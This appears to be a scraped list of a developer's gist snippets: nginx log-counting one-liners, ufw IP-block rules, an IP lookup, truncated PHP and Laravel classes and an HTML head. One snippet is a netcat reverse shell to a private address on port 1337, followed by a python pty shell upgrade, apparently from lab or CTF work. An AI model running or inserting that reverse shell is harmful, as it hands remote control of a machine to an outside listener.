Navigate to PHPStorm's Settings > Tools > Terminal and set...
Shell path "cmd" /k "C:\laragon\bin\cmder\vendor\init.bat"
#count total request | |
awk -F[:\ ] '{count[$5]++}; $12 == 200 { hour[$5]++} END { for (i in hour) print i, count[i] }' /var/log/nginx/access.log | sort | |
#count Ip address | |
cat /var/log/nginx/access.log | awk '{print $1}' | sort -n | uniq -c | sort -nr | head -20 | |
zcat /var/log/nginx/access.log.2.gz | awk '{print $1}' | sort -n | uniq -c | sort -nr | head -50 | |
# Deny IP | |
ufw insert 1 deny from 14.192.209.123 to any |
#Block IP | |
ufw insert 1 deny from 202.186.179.142 to any | |
#Numbered UFW | |
sudo ufw status numbered |
#!/bin/sh | |
curl https://ipinfo.io/$(curl -s icanhazip.com) |
<?php | |
class PointLocation | |
{ | |
public static function pointInPolygon($point, $vertices): string | |
{ | |
if (self::pointOnVertex($point, $vertices) == true) { | |
return "vertex"; | |
} |
<html> | |
<head> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous"> | |
</head> | |
<body> | |
<div class="p-5"> |
rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.8.163.74 1337 >/tmp/f | |
python -c 'import pty; pty.spawn("/bin/bash")' |
Navigate to PHPStorm's Settings > Tools > Terminal and set...
Shell path "cmd" /k "C:\laragon\bin\cmder\vendor\init.bat"
When setting these options consider the following:
sudo grep max_children /var/log/php?.?-fpm.log.1 /var/log/php?.?-fpm.log
<?php | |
namespace App\Macros\Response; | |
use App\Http\Factory\JsonResponse; | |
use App\Macros\MacroContract; | |
use Illuminate\Http\Client\Response as ClientResponse; | |
use Illuminate\Support\Facades\Response as HttpResponse; | |
use Illuminate\Support\MessageBag; |
<?php | |
class TwoFactorAuthenticationProvider | |
{ | |
protected $engine; | |
public function __construct(Google2FA $engine) | |
{ | |
$this->engine = $engine; | |
} |